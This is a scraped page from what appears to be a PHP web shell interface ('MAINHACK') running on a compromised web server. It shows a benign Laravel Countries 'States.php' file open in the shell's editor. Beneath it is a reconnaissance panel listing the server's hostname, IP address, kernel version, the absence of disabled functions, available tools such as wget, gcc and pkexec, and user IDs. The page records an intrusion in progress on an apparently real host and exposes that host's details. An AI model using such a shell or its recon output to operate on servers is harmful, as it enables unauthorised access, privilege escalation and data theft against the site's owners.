[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: States.php
<?php namespace PragmaRX\Countries\Update; class States { /** * @var Helper */ protected $helper; /** * @var Updater */ protected $updater; /** * @var Rinvex */ private $rinvex; /** * Rinvex constructor. * * @param Helper $helper * @param Rinvex $rinvex * @param Updater $updater */ public function __construct(Helper $helper, Rinvex $rinvex, Updater $updater) { $this->helper = $helper; $this->updater = $updater; $this->rinvex = $rinvex; } /** * Update states. */ public function update() { $this->helper->progress('--- States'); $this->helper->eraseDataDir($dataDir = '/states/default'); $result = $this->helper->loadShapeFile('third-party/natural_earth/ne_10m_admin_1_states_provinces'); $this->helper->message('Processing states...'); $normalizerClosure = function ($item) { $item = $this->updater->addDataSource($item, 'natural'); $item = $this->updater->addRecordType($item, 'state'); return $this->updater->normalizeStateOrCityData($item); }; $getCodeClosure = function ($item) { return $this->makeStatePostalCode($item); }; $counter = 0; $mergerClosure = function ($states) use (&$counter) { if ($counter++ % 100 === 0) { $this->helper->message("Processed: $counter"); } return $this->rinvex->mergeCountryStatesWithRinvex($states); }; [, $states] = $this->updater->generateJsonFiles($result, $dataDir, $normalizerClosure, $getCodeClosure, $mergerClosure); $this->helper->progress('Generated '.count($states).' states.'); } /** * Get the state postal code. * * @param $item * @return mixed */ public function makeStatePostalCode($item) { $item = coollect($item); if ($item->iso_3166_2 !== '') { $code = explode('-', $item->iso_3166_2); if (count($code) > 1) { return $code[1]; } } if (! empty(trim($item->postal))) { $item->postal; } if ($item->code_hasc !== '') { $code = explode('.', $item->code_hasc); if (count($code) > 1) { return $code[1]; } } return $this->helper->caseForKey($item->iso_3166_2); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002